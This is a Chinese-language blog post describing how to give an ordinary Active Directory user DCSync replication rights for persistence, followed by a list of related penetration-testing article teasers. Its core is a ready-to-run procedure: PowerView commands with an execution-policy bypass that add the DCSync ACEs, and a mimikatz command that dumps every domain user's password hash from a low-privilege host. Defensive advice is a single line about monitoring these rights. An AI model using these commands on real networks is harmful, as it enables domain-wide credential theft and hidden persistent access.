前言

DCsync是几个权限的集合体，如果普通用户想具有DCsync权限，可以给对象添加以下三条ACE：

DS-Replication-Get-Changes，对应GUID为：1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

DS-Replication-Get-Changes-All，对应GUID为：1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

DS-Replication-Get-Changes-In-Filtered-Set，对应GUID为：89e95b76-444d-4c62-991a-0facbeda640c

利用过程

powerview

Set-ExecutionPolicy Bypass -Scope Process
. .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity zhangsan -Rights DCSync -Verbose

使用mimikatz在低权限主机上读取域内其他用户的密码

privilege::Debug #可以不用这一句
lsadump::dcsync /all /csv

结果如下，在低权限的zhangsan主机上可以使用mimikatz读取域内所有用户的hash：

删除账号dcsync权限：

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity zhangsan -Rights DCSync -Verbose

防御方法

监控前面讲述的几个权限的分配情况。

赋予域内普通用户dcsync权限来变向权限维持相关推荐

【域渗透】教你怎么利用DCSync导出域内所有用户hash
前言在之前的文章<域渗透--DCSync>曾系统的整理过DCSync的利用方法,本文将要针对利用DCSync导出域内所有用户hash这一方法进行详细介绍,分析不同环境下的利用思路,给出防 ...
ISA服务器之域内×××用户在外网通过CA验证连接域内×××服务器
一般情况下×××用户在连接×××服务器是是要输入密码的,如果这样的话,那么在一些公共场合输入密码的时候很有可能造成密码的泄露,从而造成不必要的损失.口令验证协议虽然硬件上的要求没有质询握手协议那么高, ...
ad域同步其他ldap账号_域渗透——普通用户权限获得DNS记录
0x00 前言在之前的文章<域渗透--DNS记录的获取>介绍了域渗透中获得DNS管理员权限后获取DNS记录的方法,而更普遍的情况是只有域普通用户的权限,也需要获得DNS记录. 本文将会参 ...
域中计算机与用户,域内计算机和用户获取实现vbs代码
显示当前域内所有计算机名称及数目 Const ADS_SCOPE_SUBTREE = 2 Set objRootDSE = GetObject("LDAP://rootDSE") ...
域渗透—域内用户枚举与密码喷洒攻击(Password Spraying)
目录域内用户枚举枚举原理枚举tools 密码喷洒攻击喷洒原理喷洒工具本章需要对Kerberos认证原理有所了解,传送门--> Kerberos 认证学习笔记 ,以及内网方面的知识 - ...
Cobalt Strike 域内渗透
郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Co ...
计算机上用户和组的意义,在域中管理用户和组
本章要点: Ø 用户帐号和组概述 Ø 创建和管理用户帐号 Ø 在域中使用组的策略 3．1 用户帐号和组概述活动目录是一种保存和维护网络资源所需的数据的目录服务数据库.域用户帐号在AD中创建一次,就能 ...
CVE-2021-42287、CVE-2021-42278域内提权漏洞
目录影响范围漏洞介绍测试环境漏洞复现使用sam-the-admin.py 2021 年 11 月 9 日,国外研究员在推特上发布了 Active Directory 相关的 CVE,CVE- ...
内网安全：域内信息收集
目录环境搭建域基础知识工作组和域现实背景常规信息收集方式一:操作系统命令执行常用总结方式二:使用CS插件关键信息收集密码抓取测试自动化信息收集工具 ADFind BloodHou ...

赋予域内普通用户dcsync权限来变向权限维持

文章目录

前言

利用过程

防御方法

赋予域内普通用户dcsync权限来变向权限维持相关推荐

最新文章

热门文章